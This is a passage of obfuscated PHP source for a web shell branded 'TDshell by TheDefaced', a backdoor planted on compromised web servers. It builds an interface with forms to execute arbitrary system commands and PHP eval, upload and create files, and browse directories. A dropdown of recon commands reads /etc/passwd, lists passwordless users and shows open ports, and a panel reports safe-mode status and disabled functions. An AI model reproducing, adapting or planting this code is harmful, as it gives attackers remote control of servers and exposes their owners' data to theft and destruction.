$this->out_template("HTML_HEADER_HEAD_SCRIPT");
|
|||
|
$this->out_template("HTML_HEADER_HEAD_STYLE");
|
|||
|
$this->out_template("HTML_HEADER_HEAD_SUF");
|
|||
|
$this->out_template("HTML_HEADER_BODY_PRE");
|
|||
|
}
|
|||
|
|
|||
|
function footer($_948b7576a20aa0bb3f1d2055da74156c)
|
|||
|
{
|
|||
|
$this->out_template("HTML_HEADER_BODY_SUF");
|
|||
|
$this->out(@str_replace("{TIME_TAKEN}", $_948b7576a20aa0bb3f1d2055da74156c, $this->get_template("HTML_FOOTER_MAIN")));
|
|||
|
}
|
|||
|
|
|||
|
function out($_45e1fe4475ff3a7426e094d9638a5f22)
|
|||
|
{
|
|||
|
$this->TDshell_data .= $_45e1fe4475ff3a7426e094d9638a5f22;
|
|||
|
}
|
|||
|
|
|||
|
function outall()
|
|||
|
{
|
|||
|
echo $this->sanitize_output($this->TDshell_data);
|
|||
|
}
|
|||
|
|
|||
|
function set_template($_d3befca3813d65aff84c2353e705a0dd, $_d52f547da0e098832b6b81469d36c48b)
|
|||
|
{
|
|||
|
$this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd] = $_d52f547da0e098832b6b81469d36c48b;
|
|||
|
}
|
|||
|
|
|||
|
function make_link($_2e5c25529adea7d7ad4802936aee0b48, $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = array(), $_a70fd9147fda16858f57fe0479d66df0 = "", $_c8872ae6a7d8ea0f53e6e72ed2ceeac1 = FALSE)
|
|||
|
{
|
|||
|
if (!empty($_2e5c25529adea7d7ad4802936aee0b48))
|
|||
|
{
|
|||
|
$_7622cf6629732edc545313527c803112 = "act=$_2e5c25529adea7d7ad4802936aee0b48";
|
|||
|
}
|
|||
|
if (!empty($_ec4ae32bf3e3a09bae7ff3e84ebbc667))
|
|||
|
{
|
|||
|
if (!empty($_ec4ae32bf3e3a09bae7ff3e84ebbc667))
|
|||
|
{
|
|||
|
if (empty($_2e5c25529adea7d7ad4802936aee0b48))
|
|||
|
{
|
|||
|
$_7622cf6629732edc545313527c803112 .= "args=";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_7622cf6629732edc545313527c803112 .= "&args=";
|
|||
|
};
|
|||
|
foreach ($_ec4ae32bf3e3a09bae7ff3e84ebbc667 as $_ddc2938d74cdbcf22f9ecfaf2f1fb5be => $_c7104b3e36401bf0c1d4a5788ac2ad69)
|
|||
|
{
|
|||
|
$_7622cf6629732edc545313527c803112 .= @base64_encode($_ddc2938d74cdbcf22f9ecfaf2f1fb5be . ":" . $_c7104b3e36401bf0c1d4a5788ac2ad69) . "-";
|
|||
|
};
|
|||
|
if (@substr($_7622cf6629732edc545313527c803112, -1) == "-")
|
|||
|
{
|
|||
|
$_7622cf6629732edc545313527c803112 = @substr($_7622cf6629732edc545313527c803112, 0, @strlen($_7622cf6629732edc545313527c803112) -1);
|
|||
|
};
|
|||
|
};
|
|||
|
};
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 = 'http';
|
|||
|
if ($_SERVER["HTTPS"] == "on")
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= "s";
|
|||
|
};
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= "://";
|
|||
|
if ($_SERVER["SERVER_PORT"] != "80")
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["SCRIPT_NAME"];
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
|
|||
|
};
|
|||
|
if (!$_c8872ae6a7d8ea0f53e6e72ed2ceeac1)
|
|||
|
{
|
|||
|
if (empty($_7622cf6629732edc545313527c803112))
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . "proc=out";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . $_7622cf6629732edc545313527c803112 . "&proc=out";
|
|||
|
};
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
if (empty($_7622cf6629732edc545313527c803112))
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . $_7622cf6629732edc545313527c803112;
|
|||
|
};
|
|||
|
};
|
|||
|
$_3d1e4e37e3bb032a675f9b0de015bfca = $this->get_template("HTML_REL_LINK_BEG_PRE");
|
|||
|
$_3581e843f20285ea83417f61211d475a = $this->get_template("HTML_REL_LINK_BEG_SUF");
|
|||
|
$_7ebad0a61068a13c2d289a738022186a = $this->get_template("HTML_REL_LINK_END");
|
|||
|
if (!$_c8872ae6a7d8ea0f53e6e72ed2ceeac1)
|
|||
|
{
|
|||
|
return $_3d1e4e37e3bb032a675f9b0de015bfca . $_42a6152a4d7c7d957669c6d70dc5ba87 . $_3581e843f20285ea83417f61211d475a . $_a70fd9147fda16858f57fe0479d66df0 . $_7ebad0a61068a13c2d289a738022186a;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
return $_42a6152a4d7c7d957669c6d70dc5ba87;
|
|||
|
};
|
|||
|
}
|
|||
|
|
|||
|
function out_template($_d3befca3813d65aff84c2353e705a0dd)
|
|||
|
{
|
|||
|
$this->out($this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd]);
|
|||
|
}
|
|||
|
|
|||
|
function get_template($_d3befca3813d65aff84c2353e705a0dd)
|
|||
|
{
|
|||
|
return $this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd];
|
|||
|
}
|
|||
|
|
|||
|
function sanitize_output($_5d28db41dd3b63b0ad9702e535eedd73)
|
|||
|
{
|
|||
|
$_c15977bdc89c079bde3a6687c20c1719 = array(
|
|||
|
'/\>[^\S ]+/s',
|
|||
|
'/[^\S ]+\</s'
|
|||
|
);
|
|||
|
$_0cb75167c55d51f5653f1217678b8a57 = array(
|
|||
|
'>',
|
|||
|
'<'
|
|||
|
);
|
|||
|
$_5d28db41dd3b63b0ad9702e535eedd73 = @preg_replace($_c15977bdc89c079bde3a6687c20c1719, $_0cb75167c55d51f5653f1217678b8a57, $_5d28db41dd3b63b0ad9702e535eedd73);
|
|||
|
return $_5d28db41dd3b63b0ad9702e535eedd73;
|
|||
|
}
|
|||
|
function content_bottom_ext()
|
|||
|
{
|
|||
|
return '<table width="100%" border="0" cellspacing="0" cellpadding="0">
|
|||
|
<tr>
|
|||
|
<th>
|
|||
|
Quick Execute
|
|||
|
</th>
|
|||
|
<th>
|
|||
|
Quick Eval
|
|||
|
</th>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '"><input type="text" name="execdata" style="width:95%"><input type="hidden" name="execmethod" value="textbox"><br><input type="submit" name="Submit" value="Go"></form></td>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '"><input type="text" name="evaldata" style="width:95%"><input name="evalmethod" type="hidden" id="evalmethod" value="textbox"><br><input type="submit" name="Submit" value="Go">
|
|||
|
</form></td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<th>
|
|||
|
Make Directory
|
|||
|
</th>
|
|||
|
<th>
|
|||
|
Go to Directory </th>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("mkdir", NULL, NULL, TRUE) . '"><input name="mkdir" type="text" id="mkdir" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>
|
|||
|
<input type="submit" name="Submit" value="Go"></form></td>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("godir", NULL, NULL, TRUE) . '"><input name="godir" type="text" id="godir" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>
|
|||
|
<input type="submit" name="Submit" value="Go">
|
|||
|
</form></td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<th>
|
|||
|
Make File
|
|||
|
</th>
|
|||
|
<th>
|
|||
|
Go to File
|
|||
|
</th>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("mkfile", NULL, NULL, TRUE) . '"><input name="mkfile" type="text" id="mkfile" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>
|
|||
|
<input type="submit" name="Submit" value="Go"></form></td>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("gofile", NULL, NULL, TRUE) . '"><input name="gofile" type="text" id="gofile" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>
|
|||
|
<input type="submit" name="Submit" value="Go">
|
|||
|
</form></td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<th>
|
|||
|
Upload File
|
|||
|
</th>
|
|||
|
<th>
|
|||
|
Alias Commands
|
|||
|
</th>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("upload", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><input type="file" name="file"><input name="destination" type="text" id="destination" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>
|
|||
|
<input type="submit" name="Submit" value="Go"></form></td>
|
|||
|
<td width="50%"><form method="post" action="' . $this->make_link("alias", NULL, NULL, TRUE) . '">
|
|||
|
<select name="alias">
|
|||
|
<option value="ls -la">List current directory</option>
|
|||
|
<option value="find . -name \'*config*\'">Find config files</option>
|
|||
|
<option value="cat /etc/passwd">View etc/passwd</option>
|
|||
|
<option value="cut -d: -f1,2,3 /etc/passwd | grep ::">View users without password</option>
|
|||
|
<option value="cat /proc/version /proc/cpuinfo">CPU Information</option>
|
|||
|
<option value="netstat -atup | grep IST">Open Ports</option>
|
|||
|
</select>
|
|||
|
<input type="submit" name="Submit" value="Go">
|
|||
|
</form></td>
|
|||
|
</tr>
|
|||
|
</table>';
|
|||
|
}
|
|||
|
function content_top_ext()
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<center><b>Server Information</b>:</center>";
|
|||
|
$_074b7814a5770494227ce06e81ff999a = @getenv("SERVER_SOFTWARE");
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Software</b>: " . @htmlspecialchars($_074b7814a5770494227ce06e81ff999a) . "<br>";
|
|||
|
if (($_600528b2c16959ec0b7415143daf3c2c = custom_exec("uptime")))
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Uptime</b>: $_600528b2c16959ec0b7415143daf3c2c<br>";
|
|||
|
};
|
|||
|
|
|||
|
$_4894710f990f9bda9ef69a94d3de9a25 = @wordwrap(@php_uname(),100,"<br>",1);
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>System Info</b>: " . $_4894710f990f9bda9ef69a94d3de9a25 . "<br>";
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Disabled Functions</b>: ";
|
|||
|
if('' == ($_404553cd7b56719c358d1c6d76f88164 = @ini_get('disable_functions')))
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>NONE</font><br>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_404553cd7b56719c358d1c6d76f88164 = @explode(",", $_404553cd7b56719c358d1c6d76f88164);
|
|||
|
$_4b61f566d85332046e5ea8c39d5595a9 = "";
|
|||
|
foreach ($_404553cd7b56719c358d1c6d76f88164 as $_96a32437f909f9609d8bb97987165016)
|
|||
|
{
|
|||
|
$_96a32437f909f9609d8bb97987165016 = @trim($_96a32437f909f9609d8bb97987165016);
|
|||
|
$_4b61f566d85332046e5ea8c39d5595a9 .= "<a href='http://php.net/" . $_96a32437f909f9609d8bb97987165016 . "' target='_target'>" . $_96a32437f909f9609d8bb97987165016 . "</a>" . ",";
|
|||
|
};
|
|||
|
$_4b61f566d85332046e5ea8c39d5595a9 = @substr($_4b61f566d85332046e5ea8c39d5595a9, 0, @strlen($_4b61f566d85332046e5ea8c39d5595a9) - 1);
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "$_4b61f566d85332046e5ea8c39d5595a9<br>";
|
|||
|
};
|
|||
|
if(@ini_get("register_globals"))
|
|||
|
{
|
|||
|
$_0b72c338824fc598846641f1733ded93 = "<font color=green>ON</font><br>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_0b72c338824fc598846641f1733ded93 = "<font color=red>OFF</font><br>";
|
|||
|
};
|
|||
|
$_4aa5a13a07418cb3b1f532b2f73d68ae = @function_exists('mysql_connect');
|
|||
|
$_d264811448b31fb4b2772b416c9b6342 = @function_exists('mssql_connect');
|
|||
|
$_4faecc09d416a70e7c85c211689f976c = @function_exists('pg_connect');
|
|||
|
$_8050813e45b77747b44bfa1e66edf6e1 = @function_exists('ocilogon');
|
|||
|
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
|
|||
|
{
|
|||
|
$_ff72ae8d0a7c203fdca8802a4a3d4743 = "<font color=red>ON (secure)</font>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_ff72ae8d0a7c203fdca8802a4a3d4743 = "<font color=green>OFF (not secure)</font>";
|
|||
|
};
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>MySQL</b>: ";
|
|||
|
if ($_4aa5a13a07418cb3b1f532b2f73d68ae)
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";
|
|||
|
};
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>MSSQL</b>: ";
|
|||
|
if ($_d264811448b31fb4b2772b416c9b6342)
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";
|
|||
|
};
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>PostgreSQL</b>: ";
|
|||
|
if ($_4faecc09d416a70e7c85c211689f976c)
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";
|
|||
|
};
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Oracle</b>: ";
|
|||
|
if ($_8050813e45b77747b44bfa1e66edf6e1)
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";
|
|||
|
};
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Safemode</b>: ";
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= $_ff72ae8d0a7c203fdca8802a4a3d4743 . "<br>";
|
|||
|
$_d94dc5b08d928c237d98b0ed89179043 = @disk_free_space("./");
|
|||
|
$_7467c53f177b1d289f3e1b2e395b9056 = @disk_total_space("./");
|
|||
|
if ($_d94dc5b08d928c237d98b0ed89179043 === FALSE) {$_d94dc5b08d928c237d98b0ed89179043 = 0;}
|
|||
|
if ($_7467c53f177b1d289f3e1b2e395b9056 === FALSE) {$_7467c53f177b1d289f3e1b2e395b9056 = 0;}
|
|||
|
if ($_d94dc5b08d928c237d98b0ed89179043 < 0) {$_d94dc5b08d928c237d98b0ed89179043 = 0;}
|
|||
|
if ($_7467c53f177b1d289f3e1b2e395b9056 < 0) {$_7467c53f177b1d289f3e1b2e395b9056 = 0;}
|
|||
|
$_c3574082b118679ba0bc952292c18820 = @round(100/($_7467c53f177b1d289f3e1b2e395b9056/$_d94dc5b08d928c237d98b0ed89179043),2);
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Free</b>: " . view_size($_d94dc5b08d928c237d98b0ed89179043) . " of " . view_size($_7467c53f177b1d289f3e1b2e395b9056) . " (" . $_c3574082b118679ba0bc952292c18820 . "%)<br>";
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Your IP</b>: <a href='http://whois.domaintools.com/" . $_SERVER['REMOTE_ADDR'] . "' target='_blank'>" . $_SERVER['REMOTE_ADDR'] . "</a> <b>Server IP</b>: <a href='http://whois.domaintools.com/" . $_SERVER['SERVER_ADDR'] . "' target='_blank'>" . $_SERVER['SERVER_ADDR'] . "</a><br>";
|
|||
|
return $_a9e5405d6581811dbff46e9ca3280bc1;
|
|||
|
}
|
|||
|
};
|
|||
|
$TDshell = new _463f641c8747ebe94fafef7333a99b45;
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_MAIN"] = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\">";
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_HEAD_PRE"] = "<head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />";
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_HEAD_TITLE"] = "<title>$_SERVER[SERVER_NAME] - TDshell by TheDefaced (www.TheDefaced.org)</title>";
|
|||
|
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_HEAD_SCRIPT"] = '<script language="javascript" type="text/javascript">
|
|||
|
<!--
|
|||
|
function get_page(page)
|
|||
|
{ var xmlHttp;
|
|||
|
try
|
|||
|
{ xmlHttp=new XMLHttpRequest(); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
try
|
|||
|
{ xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
try
|
|||
|
{ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
alert("Your browser does not support AJAX!");
|
|||
|
return false;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
document.getElementById(\'script\').innerHTML = "Loading...";
|
|||
|
xmlHttp.onreadystatechange=function()
|
|||
|
{
|
|||
|
if(xmlHttp.readyState==4)
|
|||
|
{ document.getElementById(\'script\').innerHTML=xmlHttp.responseText; }
|
|||
|
}
|
|||
|
if(page!="")
|
|||
|
{
|
|||
|
xmlHttp.open("GET",page,true);
|
|||
|
}
|
|||
|
|
|||
|
xmlHttp.send(null);
|
|||
|
update_URI(page);
|
|||
|
}
|
|||
|
|
|||
|
function itemShowHide(myItem, myButton)
|
|||
|
{
|
|||
|
var myItem = document.getElementById(myItem);
|
|||
|
var myButton = document.getElementById(myButton);
|
|||
|
if (myItem.style.display != "none") {
|
|||
|
myItem.style.display = "none";
|
|||
|
swapData(myButton, "plus");
|
|||
|
}
|
|||
|
else {
|
|||
|
myItem.style.display = "block";
|
|||
|
swapData(myButton, "minus");
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
function update_URI(uri)
|
|||
|
{
|
|||
|
var curURI = document.getElementById(\'MAIN_PAGE_CUR_URI\');
|
|||
|
var lastURI = document.getElementById(\'MAIN_PAGE_LAST_URI\');
|
|||
|
uri = uri.substr(0,uri.length-9);
|
|||
|
lastURI.href = curURI.href;
|
|||
|
curURI.href = uri;
|
|||
|
}
|
|||
|
|
|||
|
function swapData(myButton, state)
|
|||
|
{
|
|||
|
if (state == "minus")
|
|||
|
{
|
|||
|
myButton.innerHTML = "[-]";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
myButton.innerHTML = "[+]";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
function auto_update(page)
|
|||
|
{ var xmlHttp;
|
|||
|
try
|
|||
|
{ xmlHttp=new XMLHttpRequest(); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
try
|
|||
|
{ xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
try
|
|||
|
{ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
alert("Your browser does not support AJAX!");
|
|||
|
return false;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
document.getElementById(\'autoupdate\').innerHTML = "Checking for updates...";
|
|||
|
xmlHttp.onreadystatechange=function()
|
|||
|
{
|
|||
|
if(xmlHttp.readyState==4)
|
|||
|
{ document.getElementById(\'autoupdate\').innerHTML=xmlHttp.responseText; }
|
|||
|
}
|
|||
|
if(page!="")
|
|||
|
{
|
|||
|
xmlHttp.open("GET",page,true);
|
|||
|
}
|
|||
|
|
|||
|
xmlHttp.send(null);
|
|||
|
}
|
|||
|
function custom_sub(page,divid)
|
|||
|
{ var xmlHttp;
|
|||
|
try
|
|||
|
{ xmlHttp=new XMLHttpRequest(); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
try
|
|||
|
{ xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
try
|
|||
|
{ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); }
|
|||
|
catch (e)
|
|||
|
{
|
|||
|
alert("Your browser does not support AJAX!");
|
|||
|
return false;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
document.getElementById(divid).innerHTML = "Loading";
|
|||
|
xmlHttp.onreadystatechange=function()
|
|||
|
{
|
|||
|
if(xmlHttp.readyState==4)
|
|||
|
{ document.getElementById(divid).innerHTML=xmlHttp.responseText; }
|
|||
|
}
|
|||
|
if(page!="")
|
|||
|
{
|
|||
|
xmlHttp.open("GET",page,true);
|
|||
|
}
|
|||
|
|
|||
|
xmlHttp.send(null);
|
|||
|
}
|
|||
|
-->
|
|||
|
</script>';
|
|||
|
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_HEAD_STYLE"] = '<style type="text/css">
|
|||
|
<!--
|
|||
|
body
|
|||
|
{
|
|||
|
margin: 0;
|
|||
|
padding: 1;
|
|||
|
margin-bottom: 15px;
|
|||
|
font-family: arial, helvetica, verdana, tahoma, sans-serif;
|
|||
|
font-size: 80%;
|
|||
|
color: #eee;
|
|||
|
background-color: #666;
|
|||
|
line-height: 180%;
|
|||
|
}
|
|||
|
|
|||
|
a
|
|||
|
{
|
|||
|
color: #ccc;
|
|||
|
text-decoration: none;
|
|||
|
}
|
|||
|
|
|||
|
a:hover
|
|||
|
{
|
|||
|
color: #333;
|
|||
|
text-decoration: none;
|
|||
|
}
|
|||
|
|
|||
|
#headercontainer
|
|||
|
{
|
|||
|
width: 100%;
|
|||
|
background: #000000;
|
|||
|
padding-top: 5px;
|
|||
|
padding-bottom: 5px;
|
|||
|
}
|
|||
|
|
|||
|
#header
|
|||
|
{
|
|||
|
width: 100%;
|
|||
|
height: 125px;
|
|||
|
background-color: #000000;
|
|||
|
background-image: url(http://tdshell.thedefaced.org/logo.jpg);
|
|||
|
background-repeat: no-repeat;
|
|||
|
background-position: center;
|
|||
|
padding-top: 5px;
|
|||
|
padding-bottom: 5px;
|
|||
|
}
|
|||
|
|
|||
|
#header h1
|
|||
|
{
|
|||
|
margin: 0;
|
|||
|
color: #EEEEEE;
|
|||
|
font-family: helvetica, arial, verdana, tahoma, sans-serif;
|
|||
|
font-size: 275%;
|
|||
|
padding-left: 10px;
|
|||
|
padding-top: 50px;
|
|||
|
}
|
|||
|
|
|||
|
#menucontainer
|
|||
|
{
|
|||
|
width: 100%;
|
|||
|
height: 28px;
|
|||
|
background: #333333;
|
|||
|
}
|
|||
|
|
|||
|
#menu
|
|||
|
{
|
|||
|
width: 100%;
|
|||
|
background: #666;
|
|||
|
}
|
|||
|
|
|||
|
#content
|
|||
|
{
|
|||
|
margin: 0 auto;
|
|||
|
padding: 1px 1px;
|
|||
|
background:#C4C4C4;
|
|||
|
color:#000000;
|
|||
|
border-bottom-width: thin;
|
|||
|
border-bottom-style: groove;
|
|||
|
border-bottom-color: #000000;
|
|||
|
}
|
|||
|
|
|||
|
#content A:link {text-decoration: none;
|
|||
|
color:#000000;}
|
|||
|
#content A:visited {text-decoration: none;
|
|||
|
color:#000000;}
|
|||
|
#content A:active {text-decoration: none;
|
|||
|
color:#000000;}
|
|||
|
#content A:hover {font-weight:bold;
|
|||
|
color:#000000;}
|
|||
|
|
|||
|
#content_dat
|
|||
|
{
|
|||
|
margin: 0 auto;
|
|||
|
background:#999;
|
|||
|
color:#000000;
|
|||
|
padding: 1px 1px;
|
|||
|
border-bottom-width: thin;
|
|||
|
border-bottom-style: groove;
|
|||
|
border-bottom-color: #000000;
|
|||
|
text-decoration:none;
|
|||
|
}
|
|||
|
|
|||
|
#content_dat A:link {text-decoration: none}
|
|||
|
#content_dat A:visited {text-decoration: none}
|
|||
|
#content_dat A:active {text-decoration: none}
|
|||
|
#content_dat A:hover {font-weight:bold;}
|
|||
|
|
|||
|
#content h2
|
|||
|
{
|
|||
|
color: #333;
|
|||
|
padding-bottom: 3px;
|
|||
|
border-bottom: 1px solid #ccc;
|
|||
|
font-family: helvetica, arial, verdana, tahoma, sans-serif;
|
|||
|
font-size: 200%;
|
|||
|
letter-spacing: -1px;
|
|||
|
}
|
|||
|
|
|||
|
#footer
|
|||
|
{
|
|||
|
text-align: left;
|
|||
|
color: #ccc;
|
|||
|
letter-spacing: -1px;
|
|||
|
background: #666;
|
|||
|
border: 1px solid #ccc;
|
|||
|
font-family: helvetica, arial, verdana, tahoma, sans-serif;
|
|||
|
padding: 5px;
|
|||
|
}
|
|||
|
|
|||
|
#navcontainer ul
|
|||
|
{
|
|||
|
display:inline;
|
|||
|
padding: 0;
|
|||
|
margin: 0;
|
|||
|
color:#333333;
|
|||
|
float:left;
|
|||
|
width:100%;
|
|||
|
list-style-type: none;
|
|||
|
}
|
|||
|
|
|||
|
#navcontainer ul li
|
|||
|
{
|
|||
|
font-weight: bold;
|
|||
|
list-style-type: none;
|
|||
|
}
|
|||
|
|
|||
|
#navcontainer ul li a
|
|||
|
{
|
|||
|
padding: 0.2em 1.5em;
|
|||
|
color:#CCCCCC;
|
|||
|
text-decoration: none;
|
|||
|
list-style-type: none;
|
|||
|
float: left;
|
|||
|
}
|
|||
|
|
|||
|
#navcontainer ul li a:hover
|
|||
|
{
|
|||
|
list-style-type: none;
|
|||
|
background-color: #000000;
|
|||
|
}
|
|||
|
-->
|
|||
|
</style>';
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_HEAD_SUF"] = "</head>";
|
|||
|
$TDshell->TDshell_template["HTML_REL_LINK_BEG_PRE"] = "<a href='javascript:;' onclick='get_page(\"";
|
|||
|
$TDshell->TDshell_template["HTML_REL_LINK_BEG_SUF"] = "\");'>";
|
|||
|
$TDshell->TDshell_template["HTML_REL_LINK_END"] = "</a>";
|
|||
|
|
|||
|
$TDshell->TDshell_template["HTML_HEADER_BODY_PRE"] = "<body>" . '<div id="headercontainer"><div id="header"></div></div><div id="menucontainer"><div id="menu"><div id="navcontainer"><ul id="navlist">
|
|||
|
<li>' . $TDshell->make_link(NULL, NULL, "Home") . '</li>
|
|||
|
<li>' . $TDshell->make_link("sql", NULL, "SQL") . '</li>
|
|||
|
<li>' . $TDshell->make_link("eval", NULL, "PHP Eval") . '</li>
|
|||
|
<li>' . $TDshell->make_link("exec", NULL, "Execution") . '</li>
|
|||
|
<li>' . $TDshell->make_link("proc", NULL, "Processes") . '</li>
|
|||
|
<li>' . $TDshell->make_link("credits", NULL, "Credits") . '</li>
|
|||
|
</ul></div></div></div>
|
|||
|
|
|||
|
<div id="content"><div id="content">
|
|||
|
<table width="100%" border="0" cellspacing="0" cellpadding="0">
|
|||
|
<tr>
|
|||
|
<td align="left">
|
|||
|
<div id="content">
|
|||
|
<div id="content_top" style="display:block;">
|
|||
|
' . $TDshell->content_top_ext() . '
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</td>
|
|||
|
<td align="right" valign="top">
|
|||
|
<a id="button_contain_main_top" href="javascript:;" onclick=\'itemShowHide("content_top","button_contain_main_top");\'>[-]</a>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</div></div>
|
|||
|
<div id="content"><div id="autoupdate">Checking for updates...</div><script language="javascript" type="text/javascript">auto_update("' . $TDshell->make_link("update", NULL, NULL, TRUE) . '&proc=out");</script></div>
|
|||
|
